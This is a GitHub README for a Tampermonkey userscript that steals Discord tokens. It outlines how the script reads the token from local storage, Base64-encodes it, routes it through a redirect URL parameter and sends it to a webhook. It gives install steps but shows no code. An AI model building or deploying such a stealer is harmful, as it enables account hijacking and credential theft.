DiscordTokenLogger

<h1 align="center">Proof of Concept Tampermonkey Discord Token Logger</h1> <p align="center">A demonstration tool to highlight the vulnerability of Discord accounts by logging user tokens.</p> <div align="center"> <a href="https://lyzev.github.io/discord/"><img src="https://img.shields.io/discord/610120595765723137?logo=discord" alt="Discord"/></a> <br><br> <img src="https://img.shields.io/github/v/release/Lyzev/DiscordTokenLogger" alt="GitHub release (latest by date)"/> <br> <img src="https://img.shields.io/github/downloads/Lyzev/DiscordTokenLogger/total" alt="GitHub all releases"/> <br><br> <img src="https://img.shields.io/github/last-commit/Lyzev/DiscordTokenLogger" alt="GitHub last commit"/> <img src="https://img.shields.io/github/commit-activity/w/Lyzev/DiscordTokenLogger" alt="GitHub commit activity"/> <br> <img src="https://img.shields.io/github/languages/code-size/Lyzev/DiscordTokenLogger" alt="GitHub code size in bytes"/> <img src="https://img.shields.io/github/contributors/Lyzev/DiscordTokenLogger" alt="GitHub contributors"/> </div>

Disclaimer

Please note, this repository is for educational and proof of concept purposes only. The information and code contained within it should not be used for any illegal or unethical activities. The contributors to this repository are not liable for any actions taken or damages caused by the use of the information or code provided here. It is the responsibility of the user to ensure compliance with all applicable laws and regulations, and to obtain any necessary permissions before using the code or information.

Don't ask me how to get people to run it or anything like that and please don't go to my server and ask for Discord tokens. Just to reiterate, I do not support illegal activity and this is just to educate people on how easy it is to get hacked.

How it works

1. Get the Token

The script activates on any site and puts you instantly on discord.com. There it gets the token out of the local storage.

2. Hide the Token

Then it uses Base64 to encode the token.

3. Redirect to a different page

Now the script redirects to a different page (e.g.: YouTube) and adds an URL Parameter which is the Base64 encoded token.

4. Webhook Request

On the different page (e.g.: YouTube) the script gets the token out of the url (URL Parameter) and decodes it with Base64. Finally, it just sends the webhook request to the provided webhook url and adds the token in the content.

Usage

Install

1. Download the DiscordTokenLogger.js file
2. Open Tampermonkey in your Browser
3. Go to the Utilities tab
4. Press the button 'Choose File' at 'Import from file'
5. Choose the downloaded DiscordTokenLogger.js file
6. Click on install in the tab that has opened
7. Use with caution and never use it for illegal activities!

Bugs and Suggestions

Discord

If you need support, you can join this Discord server.

GitHub

Bug reports and suggestions should be made in this repo's issue tracker using the templates provided. Please provide as much information as you can to best help us understand your issue and give a better chance of it being resolved.

Stats